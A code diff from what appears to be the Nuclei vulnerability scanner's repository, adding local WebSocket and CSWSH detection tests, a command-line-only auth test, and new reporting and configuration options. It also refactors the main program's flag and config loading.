{Path: "protocols/websocket/cswsh.yaml", TestCase: &websocketCswsh{}},
|
||||
{Path: "protocols/websocket/no-cswsh.yaml", TestCase: &websocketNoCswsh{}},
|
||||
{Path: "protocols/websocket/path.yaml", TestCase: &websocketWithPath{}},
|
||||
}
|
||||
|
||||
type websocketBasic struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *websocketBasic) Execute(filePath string) error {
|
||||
connHandler := func(conn net.Conn) {
|
||||
for {
|
||||
msg, op, _ := wsutil.ReadClientData(conn)
|
||||
if string(msg) != "hello" {
|
||||
return
|
||||
}
|
||||
_ = wsutil.WriteServerMessage(conn, op, []byte("world"))
|
||||
}
|
||||
}
|
||||
originValidate := func(origin string) bool {
|
||||
return true
|
||||
}
|
||||
ts := testutils.NewWebsocketServer("", connHandler, originValidate)
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, strings.ReplaceAll(ts.URL, "http", "ws"), debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type websocketCswsh struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *websocketCswsh) Execute(filePath string) error {
|
||||
connHandler := func(conn net.Conn) {
|
||||
|
||||
}
|
||||
originValidate := func(origin string) bool {
|
||||
return true
|
||||
}
|
||||
ts := testutils.NewWebsocketServer("", connHandler, originValidate)
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, strings.ReplaceAll(ts.URL, "http", "ws"), debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type websocketNoCswsh struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *websocketNoCswsh) Execute(filePath string) error {
|
||||
connHandler := func(conn net.Conn) {
|
||||
|
||||
}
|
||||
originValidate := func(origin string) bool {
|
||||
return origin == "https://google.com"
|
||||
}
|
||||
ts := testutils.NewWebsocketServer("", connHandler, originValidate)
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, strings.ReplaceAll(ts.URL, "http", "ws"), debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 0)
|
||||
}
|
||||
|
||||
type websocketWithPath struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *websocketWithPath) Execute(filePath string) error {
|
||||
connHandler := func(conn net.Conn) {
|
||||
|
||||
}
|
||||
originValidate := func(origin string) bool {
|
||||
return origin == "https://google.com"
|
||||
}
|
||||
ts := testutils.NewWebsocketServer("/test", connHandler, originValidate)
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, strings.ReplaceAll(ts.URL, "http", "ws"), debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 0)
|
||||
}
|
||||
@@ -11,7 +11,7 @@ import (
|
||||
|
||||
{{range .Functions}}
|
||||
{{ .SignatureWithPrefix "memoized" }} {
|
||||
hash := "{{ .Name }}" {{range .Params}} + ":" + fmt.Sprint({{.Name}}) {{end}}
|
||||
hash := "{{ .Name }}" {{range .Params}}{{if ne .Type "context.Context"}} + ":" + fmt.Sprint({{.Name}}){{end}}{{end}}
|
||||
|
||||
v, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {
|
||||
return {{.Name}}({{.ParamsNames}})
|
||||
@@ -25,4 +25,4 @@ import (
|
||||
|
||||
return {{.ResultFirstFieldDefaultValue}}, errors.New("could not convert cached result")
|
||||
}
|
||||
{{end}}
|
||||
{{end}}
|
||||
@@ -0,0 +1,72 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"github.com/adrg/xdg"
|
||||
"github.com/projectdiscovery/goflags"
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/nuclei/v3/internal/configuration"
|
||||
catalogconfig "github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
|
||||
)
|
||||
|
||||
func TestAuthValueIsCLIOnly(t *testing.T) {
|
||||
oldConfigHome := xdg.ConfigHome
|
||||
oldConfigDirs := xdg.ConfigDirs
|
||||
t.Cleanup(func() {
|
||||
xdg.ConfigHome = oldConfigHome
|
||||
xdg.ConfigDirs = oldConfigDirs
|
||||
})
|
||||
|
||||
const apiKey = "12345678-1234-1234-1234-123456789012"
|
||||
tests := []struct {
|
||||
name string
|
||||
args func(string) []string
|
||||
file string
|
||||
want string
|
||||
}{
|
||||
{name: "explicit config", args: func(path string) []string { return []string{"-config=" + path} }, file: "auth: true\n"},
|
||||
{name: "profile", args: func(path string) []string { return []string{"-profile=" + path} }, file: "auth: " + apiKey + "\n"},
|
||||
{name: "CLI", args: func(string) []string { return []string{"-auth=" + apiKey} }, want: apiKey},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
xdg.ConfigHome = filepath.Join(dir, "config-home")
|
||||
xdg.ConfigDirs = nil
|
||||
|
||||
selectedPath := filepath.Join(dir, "selected.yaml")
|
||||
if test.file != "" {
|
||||
if err := os.WriteFile(selectedPath, []byte(test.file), 0o600); err != nil {
|
||||
t.Fatalf("write selected configuration: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
var auth string
|
||||
var selected configuration.Selection
|
||||
flagSet := goflags.NewFlagSet()
|
||||
flagSet.DynamicVar(&auth, "auth", "true", "")
|
||||
flagSet.StringVar(&selected.Config, "config", "", "")
|
||||
flagSet.StringVar(&selected.Profile, "profile", "", "")
|
||||
|
||||
cfg := &catalogconfig.Config{Logger: gologger.DefaultLogger}
|
||||
cfg.SetConfigDir(filepath.Join(xdg.ConfigHome, catalogconfig.BinaryName))
|
||||
warnings, err := configuration.Load(cfg, flagSet, &selected, func(path string) (string, error) {
|
||||
return path, nil
|
||||
}, test.args(selectedPath)...)
|
||||
if err != nil {
|
||||
t.Fatalf("load configuration: %v", err)
|
||||
}
|
||||
if len(warnings) != 0 {
|
||||
t.Fatalf("configuration warnings: %v", warnings)
|
||||
}
|
||||
|
||||
if got := cliOnlyDynamicValue(flagSet, "auth", auth); got != test.want {
|
||||
t.Fatalf("auth value = %q, want %q", got, test.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -55,6 +55,12 @@
|
||||
# # these severity labels or tags (does not affect exporters. set those globally)
|
||||
# deny-list:
|
||||
# severity: low
|
||||
# # duplicate-issue-check (optional) flag to enable duplicate tracking issue check
|
||||
# duplicate-issue-check: false
|
||||
# # duplicate-issue-page-size (optional) controls how many issues to fetch per page when searching for duplicates
|
||||
# duplicate-issue-page-size: 100
|
||||
# # duplicate-issue-max-pages (optional) limits how many pages to fetch when searching for duplicates (0 = no limit)
|
||||
# duplicate-issue-max-pages: 0
|
||||
#
|
||||
# Gitea contains configuration options for a gitea issue tracker
|
||||
#gitea:
|
||||
@@ -81,6 +87,10 @@
|
||||
# severity: low
|
||||
# # duplicate-issue-check (optional) flag to enable duplicate tracking issue check
|
||||
# duplicate-issue-check: false
|
||||
# # duplicate-issue-page-size (optional) controls how many issues to fetch per page when searching for duplicates
|
||||
# duplicate-issue-page-size: 100
|
||||
# # duplicate-issue-max-pages (optional) limits how many pages to fetch when searching for duplicates (0 = no limit)
|
||||
# duplicate-issue-max-pages: 0
|
||||
#
|
||||
# Jira contains configuration options for Jira issue tracker
|
||||
#jira:
|
||||
@@ -90,6 +100,9 @@
|
||||
# update-existing: false
|
||||
# # URL is the jira application url
|
||||
# url: https://localhost/jira
|
||||
# # site-url is the browsable URL for the Jira instance (optional)
|
||||
# # If not provided, issue.Self will be used. Useful for OAuth where issue.Self contains api.atlassian.com
|
||||
# site-url: https://your-company.atlassian.net
|
||||
# # account-id is the account-id of the Jira user or username in case of on-prem Jira
|
||||
# account-id: test-account-id
|
||||
# # email is the email of the user for Jira instance
|
||||
@@ -118,10 +131,10 @@
|
||||
# status-not: Closed
|
||||
# # Customfield supports name, id and freeform. name and id are to be used when the custom field is a dropdown.
|
||||
# # freeform can be used if the custom field is just a text entry
|
||||
# # Variables can be used to pull various pieces of data from the finding itself.
|
||||
# # Variables can be used to pull various pieces of data from the finding itself.
|
||||
# # Supported variables: $CVSSMetrics, $CVEID, $CWEID, $Host, $Severity, $CVSSScore, $Name
|
||||
# custom-fields:
|
||||
# customfield_00001:
|
||||
# customfield_00001:
|
||||
# name: "Nuclei"
|
||||
# customfield_00002:
|
||||
# freeform: $CVSSMetrics
|
||||
@@ -172,4 +185,4 @@
|
||||
# omit-raw: false
|
||||
# # determines the number of results to be kept in memory before writing it to the database or 0 to
|
||||
# # persist all in memory and write all results at the end (default)
|
||||
# batch-size: 0
|
||||
# batch-size: 0
|
||||
+209
-187
@@ -2,6 +2,7 @@ package main
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"flag"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"os"
|
||||
@@ -11,6 +12,7 @@ import (
|
||||
"runtime/pprof"
|
||||
"runtime/trace"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/projectdiscovery/gologger"
|
||||
@@ -20,11 +22,11 @@ import (
|
||||
_ "github.com/projectdiscovery/utils/pprof"
|
||||
stringsutil "github.com/projectdiscovery/utils/strings"
|
||||
"github.com/rs/xid"
|
||||
"gopkg.in/yaml.v2"
|
||||
|
||||
"github.com/projectdiscovery/goflags"
|
||||
"github.com/projectdiscovery/gologger/levels"
|
||||
"github.com/projectdiscovery/interactsh/pkg/client"
|
||||
"github.com/projectdiscovery/nuclei/v3/internal/configuration"
|
||||
"github.com/projectdiscovery/nuclei/v3/internal/runner"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/input/provider"
|
||||
@@ -47,20 +49,22 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
cfgFile string
|
||||
templateProfile string
|
||||
memProfile string // optional profile file path
|
||||
options = &types.Options{}
|
||||
memProfile string // optional profile file path
|
||||
options = &types.Options{}
|
||||
inlineSecretsTempDir string
|
||||
inlineSecretsTempMu sync.Mutex
|
||||
)
|
||||
|
||||
func main() {
|
||||
options.Logger = gologger.DefaultLogger
|
||||
|
||||
defer cleanupInlineSecretsDirs()
|
||||
|
||||
// enables CLI specific configs mostly interactive behavior
|
||||
config.CurrentAppMode = config.AppModeCLI
|
||||
|
||||
if err := runner.ConfigureOptions(); err != nil {
|
||||
options.Logger.Fatal().Msgf("Could not initialize options: %s\n", err)
|
||||
fatalf("Could not initialize options: %s\n", err)
|
||||
}
|
||||
_ = readConfig()
|
||||
|
||||
@@ -76,7 +80,7 @@ func main() {
|
||||
templates.UseOptionsForSigner(options)
|
||||
tsigner, err := signer.NewTemplateSigner(nil, nil) // will read from env , config or generate new keys
|
||||
if err != nil {
|
||||
options.Logger.Fatal().Msgf("couldn't initialize signer crypto engine: %s\n", err)
|
||||
fatalf("Could not initialize signer crypto engine: %s\n", err)
|
||||
}
|
||||
|
||||
successCounter := 0
|
||||
@@ -115,7 +119,7 @@ func main() {
|
||||
createProfileFile := func(ext, profileType string) *os.File {
|
||||
f, err := os.Create(memProfile + ext)
|
||||
if err != nil {
|
||||
options.Logger.Fatal().Msgf("profile: could not create %s profile %q file: %v", profileType, f.Name(), err)
|
||||
fatalf("profile: could not create %s profile %q file: %v", profileType, memProfile+ext, err)
|
||||
}
|
||||
return f
|
||||
}
|
||||
@@ -129,18 +133,18 @@ func main() {
|
||||
|
||||
// Start tracing
|
||||
if err := trace.Start(traceFile); err != nil {
|
||||
options.Logger.Fatal().Msgf("profile: could not start trace: %v", err)
|
||||
fatalf("profile: could not start trace: %v", err)
|
||||
}
|
||||
|
||||
// Start CPU profiling
|
||||
if err := pprof.StartCPUProfile(cpuProfileFile); err != nil {
|
||||
options.Logger.Fatal().Msgf("profile: could not start CPU profile: %v", err)
|
||||
fatalf("profile: could not start CPU profile: %v", err)
|
||||
}
|
||||
|
||||
defer func() {
|
||||
// Start heap memory snapshot
|
||||
if err := pprof.WriteHeapProfile(memProfileFile); err != nil {
|
||||
options.Logger.Fatal().Msgf("profile: could not write memory profile: %v", err)
|
||||
fatalf("profile: could not write memory profile: %v", err)
|
||||
}
|
||||
|
||||
pprof.StopCPUProfile()
|
||||
@@ -162,14 +166,14 @@ func main() {
|
||||
|
||||
if options.ScanUploadFile != "" {
|
||||
if err := runner.UploadResultsToCloud(options); err != nil {
|
||||
options.Logger.Fatal().Msgf("could not upload scan results to cloud dashboard: %s\n", err)
|
||||
fatalf("Could not upload scan results to cloud dashboard: %s\n", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
nucleiRunner, err := runner.New(options)
|
||||
if err != nil {
|
||||
options.Logger.Fatal().Msgf("Could not create runner: %s\n", err)
|
||||
fatalf("Could not create runner: %s\n", err)
|
||||
}
|
||||
if nucleiRunner == nil {
|
||||
return
|
||||
@@ -180,7 +184,7 @@ func main() {
|
||||
cancel := stackMonitor.Start(10 * time.Second)
|
||||
defer cancel()
|
||||
stackMonitor.RegisterCallback(func(dumpID string) error {
|
||||
resumeFileName := fmt.Sprintf("crash-resume-file-%s.dump", dumpID)
|
||||
resumeFileName := types.DefaultCrashResumeFilePath(dumpID)
|
||||
if options.EnableCloudUpload {
|
||||
options.Logger.Info().Msgf("Uploading scan results to cloud...")
|
||||
}
|
||||
@@ -196,7 +200,7 @@ func main() {
|
||||
|
||||
// Setup filename for graceful exits
|
||||
resumeFileName := types.DefaultResumeFilePath()
|
||||
if options.Resume == "" {
|
||||
if options.Resume != "" {
|
||||
resumeFileName = options.Resume
|
||||
}
|
||||
c := make(chan os.Signal, 1)
|
||||
@@ -206,6 +210,7 @@ func main() {
|
||||
options.Logger.Info().Msgf("CTRL+C pressed: Exiting\n")
|
||||
if options.DASTServer {
|
||||
nucleiRunner.Close()
|
||||
cleanupInlineSecretsDirs()
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
@@ -221,14 +226,15 @@ func main() {
|
||||
options.Logger.Error().Msgf("Couldn't create resume file: %s\n", err)
|
||||
}
|
||||
}
|
||||
cleanupInlineSecretsDirs()
|
||||
os.Exit(1)
|
||||
}()
|
||||
|
||||
if err := nucleiRunner.RunEnumeration(); err != nil {
|
||||
if options.Validate {
|
||||
options.Logger.Fatal().Msgf("Could not validate templates: %s\n", err)
|
||||
fatalf("Could not validate templates: %s\n", err)
|
||||
} else {
|
||||
options.Logger.Fatal().Msgf("Could not run nuclei: %s\n", err)
|
||||
fatalf("Could not run nuclei: %s\n", err)
|
||||
}
|
||||
}
|
||||
nucleiRunner.Close()
|
||||
@@ -239,10 +245,12 @@ func main() {
|
||||
}
|
||||
|
||||
func readConfig() *goflags.FlagSet {
|
||||
|
||||
var selectedFiles configuration.Selection
|
||||
// when true updates nuclei binary to latest version
|
||||
var updateNucleiBinary bool
|
||||
var pdcpauth string
|
||||
var disableUpdateCheck bool
|
||||
var resetRequested bool
|
||||
var pdcpAuth string
|
||||
var fuzzFlag bool
|
||||
|
||||
flagSet := goflags.NewFlagSet()
|
||||
@@ -250,6 +258,9 @@ func readConfig() *goflags.FlagSet {
|
||||
flagSet.SetDescription(`Nuclei is a fast, template based vulnerability scanner focusing
|
||||
on extensive configurability, massive extensibility and ease of use.`)
|
||||
|
||||
// Shared PD flags (e.g. -max-time soft-kill via interrupt).
|
||||
flagSet.AddCommonFlags()
|
||||
|
||||
/* TODO Important: The defined default values, especially for slice/array types are NOT DEFAULT VALUES, but rather implicit values to which the user input is appended.
|
||||
This can be very confusing and should be addressed
|
||||
*/
|
||||
@@ -257,6 +268,7 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.CreateGroup("input", "Target",
|
||||
flagSet.StringSliceVarP(&options.Targets, "target", "u", nil, "target URLs/hosts to scan", goflags.CommaSeparatedStringSliceOptions),
|
||||
flagSet.StringVarP(&options.TargetsFilePath, "list", "l", "", "path to file containing a list of target URLs/hosts to scan (one per line)"),
|
||||
flagSet.StringVarP(&options.InlineTargetsList, "targets-inline", "", "", "inline multiline target list (for use in template profiles)"),
|
||||
flagSet.StringSliceVarP(&options.ExcludeTargets, "exclude-hosts", "eh", nil, "hosts to exclude to scan from the input list (ip, cidr, hostname)", goflags.FileCommaSeparatedStringSliceOptions),
|
||||
flagSet.StringVar(&options.Resume, "resume", "", "resume scan from and save to specified file (clustering will be disabled)"),
|
||||
flagSet.BoolVarP(&options.ScanAllIPs, "scan-all-ips", "sa", false, "scan all the IP's associated with dns record"),
|
||||
@@ -319,7 +331,7 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.BoolVarP(&options.NoColor, "no-color", "nc", false, "disable output content coloring (ANSI escape codes)"),
|
||||
flagSet.BoolVarP(&options.JSONL, "jsonl", "j", false, "write output in JSONL(ines) format"),
|
||||
flagSet.BoolVarP(&options.JSONRequests, "include-rr", "irr", true, "include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use `-omit-raw`]"),
|
||||
flagSet.BoolVarP(&options.OmitRawRequests, "omit-raw", "or", false, "omit request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only)"),
|
||||
flagSet.BoolVarP(&options.OmitRawRequests, "omit-raw", "or", false, "omit request/response pairs in the JSON, JSONL, Markdown, and PDF outputs (for findings only)"),
|
||||
flagSet.BoolVarP(&options.OmitTemplate, "omit-template", "ot", false, "omit encoded template in the JSON, JSONL output"),
|
||||
flagSet.BoolVarP(&options.NoMeta, "no-meta", "nm", false, "disable printing result metadata in cli output"),
|
||||
flagSet.BoolVarP(&options.Timestamp, "timestamp", "ts", false, "enables printing timestamp in cli output"),
|
||||
@@ -329,12 +341,13 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.StringVarP(&options.SarifExport, "sarif-export", "se", "", "file to export results in SARIF format"),
|
||||
flagSet.StringVarP(&options.JSONExport, "json-export", "je", "", "file to export results in JSON format"),
|
||||
flagSet.StringVarP(&options.JSONLExport, "jsonl-export", "jle", "", "file to export results in JSONL(ine) format"),
|
||||
flagSet.StringVarP(&options.PDFExport, "pdf-export", "pe", "", "file to export results in PDF format"),
|
||||
flagSet.StringSliceVarP(&options.Redact, "redact", "rd", nil, "redact given list of keys from query parameter, request header and body", goflags.CommaSeparatedStringSliceOptions),
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("configs", "Configurations",
|
||||
flagSet.StringVar(&cfgFile, "config", "", "path to the nuclei configuration file"),
|
||||
flagSet.StringVarP(&templateProfile, "profile", "tp", "", "template profile config file to run"),
|
||||
flagSet.StringVar(&selectedFiles.Config, "config", "", "path to the nuclei configuration file"),
|
||||
flagSet.StringVarP(&selectedFiles.Profile, "profile", "tp", "", "template profile config file to run"),
|
||||
flagSet.BoolVarP(&options.ListTemplateProfiles, "profile-list", "tpl", false, "list community template profiles"),
|
||||
flagSet.BoolVarP(&options.FollowRedirects, "follow-redirects", "fr", false, "enable following redirects for http templates"),
|
||||
flagSet.BoolVarP(&options.FollowHostRedirects, "follow-host-redirects", "fhr", false, "follow redirects on the same host"),
|
||||
@@ -363,7 +376,7 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.StringVarP(&options.SourceIP, "source-ip", "sip", "", "source ip address to use for network scan"),
|
||||
flagSet.IntVarP(&options.ResponseReadSize, "response-size-read", "rsr", 0, "max response size to read in bytes"),
|
||||
flagSet.IntVarP(&options.ResponseSaveSize, "response-size-save", "rss", unitutils.Mega, "max response size to read in bytes"),
|
||||
flagSet.CallbackVar(resetCallback, "reset", "reset removes all nuclei configuration and data files (including nuclei-templates)"),
|
||||
flagSet.CallbackVar(func() { resetRequested = true }, "reset", "reset removes all nuclei configuration and data files (including nuclei-templates)"),
|
||||
flagSet.BoolVarP(&options.TlsImpersonate, "tls-impersonate", "tlsi", false, "enable experimental client hello (ja3) tls randomization"),
|
||||
flagSet.StringVarP(&options.HttpApiEndpoint, "http-api-endpoint", "hae", "", "experimental http api endpoint"),
|
||||
)
|
||||
@@ -406,6 +419,7 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.CreateGroup("rate-limit", "Rate-Limit",
|
||||
flagSet.IntVarP(&options.RateLimit, "rate-limit", "rl", 150, "maximum number of requests to send per second"),
|
||||
flagSet.DurationVarP(&options.RateLimitDuration, "rate-limit-duration", "rld", time.Second, "maximum number of requests to send per second"),
|
||||
flagSet.BoolVar(&options.PerHostRateLimit, "per-host-rate-limit", false, "enable per-host rate limiting (global rate limit becomes unlimited when enabled)"),
|
||||
flagSet.IntVarP(&options.RateLimitMinute, "rate-limit-minute", "rlm", 0, "maximum number of requests to send per minute (DEPRECATED)"),
|
||||
flagSet.IntVarP(&options.BulkSize, "bulk-size", "bs", 25, "maximum number of hosts to be analyzed in parallel per template"),
|
||||
flagSet.IntVarP(&options.TemplateThreads, "concurrency", "c", 25, "maximum number of templates to be executed in parallel"),
|
||||
@@ -434,6 +448,7 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
}),
|
||||
flagSet.DurationVarP(&options.InputReadTimeout, "input-read-timeout", "irt", time.Duration(3*time.Minute), "timeout on input read"),
|
||||
flagSet.BoolVarP(&options.DisableHTTPProbe, "no-httpx", "nh", false, "disable httpx probing for non-url input"),
|
||||
flagSet.BoolVar(&options.PreflightPortScan, "preflight-portscan", false, "run preflight resolve + TCP portscan and filter targets before scanning (disabled by default)"),
|
||||
flagSet.BoolVar(&options.DisableStdin, "no-stdin", false, "disable stdin processing"),
|
||||
)
|
||||
|
||||
@@ -443,6 +458,7 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.BoolVarP(&options.ShowBrowser, "show-browser", "sb", false, "show the browser on the screen when running templates with headless mode"),
|
||||
flagSet.StringSliceVarP(&options.HeadlessOptionalArguments, "headless-options", "ho", nil, "start headless chrome with additional options", goflags.FileCommaSeparatedStringSliceOptions),
|
||||
flagSet.BoolVarP(&options.UseInstalledChrome, "system-chrome", "sc", false, "use local installed Chrome browser instead of nuclei installed"),
|
||||
flagSet.StringVarP(&options.CDPEndpoint, "cdp-endpoint", "cdpe", "", "use remote browser via Chrome DevTools Protocol (CDP) endpoint"),
|
||||
flagSet.BoolVarP(&options.ShowActions, "list-headless-action", "lha", false, "list available headless actions"),
|
||||
)
|
||||
|
||||
@@ -471,7 +487,13 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.BoolVarP(&updateNucleiBinary, "update", "up", false, "update nuclei engine to the latest released version"),
|
||||
flagSet.BoolVarP(&options.UpdateTemplates, "update-templates", "ut", false, "update nuclei-templates to latest released version"),
|
||||
flagSet.StringVarP(&options.NewTemplatesDirectory, "update-template-dir", "ud", "", "custom directory to install / update nuclei-templates"),
|
||||
flagSet.CallbackVarP(disableUpdatesCallback, "disable-update-check", "duc", "disable automatic nuclei/templates update check"),
|
||||
flagSet.BoolVarP(&disableUpdateCheck, "disable-update-check", "duc", false, "disable automatic nuclei/templates update check"),
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("Honeypot", "Honeypot",
|
||||
flagSet.BoolVarP(&options.HoneypotDetection, "honeypot-detect", "hpd", false, "detect potential honeypot hosts based on match concentration"),
|
||||
flagSet.IntVarP(&options.HoneypotThreshold, "honeypot-threshold", "hpt", 15, "number of distinct template IDs required to flag a honeypot host"),
|
||||
flagSet.BoolVarP(&options.SuppressHoneypotResults, "suppress-honeypot", "shp", false, "suppress output for flagged honeypot hosts"),
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("stats", "Statistics",
|
||||
@@ -483,7 +505,7 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("cloud", "Cloud",
|
||||
flagSet.DynamicVar(&pdcpauth, "auth", "true", "configure projectdiscovery cloud (pdcp) api key"),
|
||||
flagSet.DynamicVar(&pdcpAuth, "auth", "true", "configure projectdiscovery cloud (pdcp) api key"),
|
||||
flagSet.StringVarP(&options.TeamID, "team-id", "tid", _pdcp.TeamIDEnv, "upload scan results to given team id (optional)"),
|
||||
flagSet.BoolVarP(&options.EnableCloudUpload, "cloud-upload", "cup", false, "upload scan results to pdcp dashboard [DEPRECATED use -dashboard]"),
|
||||
flagSet.StringVarP(&options.ScanID, "scan-id", "sid", "", "upload scan results to existing scan id (optional)"),
|
||||
@@ -516,12 +538,32 @@ Run nuclei with sorted Markdown outputs (with environment variables):
|
||||
Additional documentation is available at: https://docs.nuclei.sh/getting-started/running
|
||||
`)
|
||||
|
||||
// nuclei has multiple migrations
|
||||
// ex: resume.cfg moved to platform standard cache dir from config dir
|
||||
// ex: config.yaml moved to platform standard config dir from linux specific config dir
|
||||
// and hence it will be attempted in config package during init
|
||||
// Nuclei handles config-path compatibility before parsing its layered files.
|
||||
goflags.DisableAutoConfigMigration = true
|
||||
_ = flagSet.Parse()
|
||||
warnings, err := configuration.Load(config.DefaultConfig, flagSet, &selectedFiles, func(path string) (string, error) {
|
||||
return configuration.ResolveProfilePath(path, configuration.TemplatesDirectory(options, config.DefaultConfig))
|
||||
})
|
||||
|
||||
for _, warning := range warnings {
|
||||
options.Logger.Warning().Msgf("Could not load configuration: %s\n", warning)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
fatalf("Could not load configuration: %s\n", err)
|
||||
}
|
||||
pdcpAuth = cliOnlyDynamicValue(flagSet, "auth", pdcpAuth)
|
||||
|
||||
if disableUpdateCheck {
|
||||
config.DefaultConfig.DisableUpdateCheck()
|
||||
}
|
||||
|
||||
if templatesDir, overridden := configuration.TemplatesDirectoryOverride(options); overridden {
|
||||
config.DefaultConfig.SetTemplatesDir(templatesDir)
|
||||
}
|
||||
|
||||
if resetRequested {
|
||||
resetCallback()
|
||||
}
|
||||
|
||||
// when fuzz flag is enabled, set the dast flag to true
|
||||
if fuzzFlag {
|
||||
@@ -535,13 +577,13 @@ Additional documentation is available at: https://docs.nuclei.sh/getting-started
|
||||
}
|
||||
|
||||
// api key hierarchy: cli flag > env var > .pdcp/credential file
|
||||
if pdcpauth == "true" {
|
||||
if pdcpAuth == "true" {
|
||||
runner.AuthWithPDCP()
|
||||
} else if len(pdcpauth) == 36 {
|
||||
} else if len(pdcpAuth) == 36 {
|
||||
ph := pdcp.PDCPCredHandler{}
|
||||
if _, err := ph.GetCreds(); err == pdcp.ErrNoCreds {
|
||||
apiServer := env.GetEnvOrDefault("PDCP_API_SERVER", pdcp.DefaultApiServer)
|
||||
if validatedCreds, err := ph.ValidateAPIKey(pdcpauth, apiServer, config.BinaryName); err == nil {
|
||||
if validatedCreds, err := ph.ValidateAPIKey(pdcpAuth, apiServer, config.BinaryName); err == nil {
|
||||
_ = ph.SaveCreds(validatedCreds)
|
||||
}
|
||||
}
|
||||
@@ -552,7 +594,7 @@ Additional documentation is available at: https://docs.nuclei.sh/getting-started
|
||||
h := &pdcp.PDCPCredHandler{}
|
||||
_, err := h.GetCreds()
|
||||
if err != nil {
|
||||
options.Logger.Fatal().Msg("To utilize the `-ai` flag, please configure your API key with the `-auth` flag or set the `PDCP_API_KEY` environment variable")
|
||||
fatalf("To utilize the `-ai` flag, please configure your API key with the `-auth` flag or set the `PDCP_API_KEY` environment variable")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -571,110 +613,34 @@ Additional documentation is available at: https://docs.nuclei.sh/getting-started
|
||||
runner.NucleiToolUpdateCallback()
|
||||
}
|
||||
|
||||
tempSecretsDir, err := configuration.ApplyProfile(selectedFiles.Profile, options)
|
||||
if err != nil {
|
||||
fatalf("Could not process template profile: %s\n", err)
|
||||
}
|
||||
if tempSecretsDir != "" {
|
||||
setInlineSecretsTempDir(tempSecretsDir)
|
||||
}
|
||||
|
||||
if options.LeaveDefaultPorts {
|
||||
http.LeaveDefaultPorts = true
|
||||
}
|
||||
if customConfigDir := os.Getenv(config.NucleiConfigDirEnv); customConfigDir != "" {
|
||||
config.DefaultConfig.SetConfigDir(customConfigDir)
|
||||
readFlagsConfig(flagSet)
|
||||
}
|
||||
|
||||
if cfgFile != "" {
|
||||
if !fileutil.FileExists(cfgFile) {
|
||||
options.Logger.Fatal().Msgf("given config file '%s' does not exist", cfgFile)
|
||||
}
|
||||
// merge config file with flags
|
||||
if err := flagSet.MergeConfigFile(cfgFile); err != nil {
|
||||
options.Logger.Fatal().Msgf("Could not read config: %s\n", err)
|
||||
}
|
||||
|
||||
if !options.Vars.IsEmpty() {
|
||||
// Maybe we should add vars to the config file as well even if they are set via flags?
|
||||
file, err := os.Open(cfgFile)
|
||||
if err != nil {
|
||||
gologger.Fatal().Msgf("Could not open config file: %s\n", err)
|
||||
}
|
||||
defer func() {
|
||||
_ = file.Close()
|
||||
}()
|
||||
data := make(map[string]interface{})
|
||||
err = yaml.NewDecoder(file).Decode(&data)
|
||||
if err != nil {
|
||||
gologger.Fatal().Msgf("Could not decode config file: %s\n", err)
|
||||
}
|
||||
|
||||
variables := data["var"]
|
||||
if variables != nil {
|
||||
if varSlice, ok := variables.([]interface{}); ok {
|
||||
for _, value := range varSlice {
|
||||
if strVal, ok := value.(string); ok {
|
||||
err = options.Vars.Set(strVal)
|
||||
if err != nil {
|
||||
gologger.Warning().Msgf("Could not set variable from config file: %s\n", err)
|
||||
}
|
||||
} else {
|
||||
gologger.Warning().Msgf("Skipping non-string variable in config: %#v", value)
|
||||
}
|
